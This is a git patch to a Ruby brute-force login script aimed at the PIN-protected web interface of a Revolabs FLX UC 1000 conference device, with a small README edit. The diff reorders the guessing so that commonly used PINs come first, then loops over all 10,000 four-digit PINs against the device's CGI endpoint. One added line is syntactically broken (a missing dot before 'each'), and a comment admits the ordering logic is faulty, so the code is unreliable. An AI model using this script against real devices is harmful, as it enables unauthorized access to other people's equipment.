From fc2a9ac4af26bf8914befeda4095e6c5697b0de8 Mon Sep 17 00:00:00 2001 From: Conor Horan-Kates Date: Fri, 8 Jul 2016 01:01:11 -0700 Subject: [PATCH] fixing a logic bug when proritizing PINs --- revolabs-flx_uc_1000/README.md | 1 - revolabs-flx_uc_1000/bf_login.rb | 20 +++++++++++++++----- 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/revolabs-flx_uc_1000/README.md b/revolabs-flx_uc_1000/README.md index 43c509d..e2d622a 100644 --- a/revolabs-flx_uc_1000/README.md +++ b/revolabs-flx_uc_1000/README.md @@ -30,7 +30,6 @@ name | description * DHCP, NTP settings * name displayed * etc - * upgrade firmware - need to do more digging here * restart device * pull logs/configuration diff --git a/revolabs-flx_uc_1000/bf_login.rb b/revolabs-flx_uc_1000/bf_login.rb index cb1e7cc..3503b03 100644 --- a/revolabs-flx_uc_1000/bf_login.rb +++ b/revolabs-flx_uc_1000/bf_login.rb @@ -70,28 +70,38 @@ elsif mode.eql?(:range) end end -pins = 9999.downto(0).to_a +_pins = Hash.new +9999.downto(0).to_a each do |i| + _pins[i] = 1 +end + prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs +# TODO come up with way to generate patterns - keys that are nearby + # commonly used PINs that follow a pattern 0.upto(9) do |i| prioritized << i * 1111 end +# TODO this is broken, once we delete/add, we change the order.. use a set instead? could go poor man hash style.. prioritized.each do |p| - pins.delete(p) - pins.unshift(p) + _pins.delete(p) end +pins = [ prioritized, _pins.keys ].flatten # hackery + targets.each do |target| + url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target) + puts sprintf('url: [%s]', url) + pins.each do |i| pin = sprintf('%04d', i) begin - url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target) - puts sprintf('trying pin[%s]', pin) + puts sprintf(' trying pin[%s]', pin) response = check_pin(url, pin) responses << response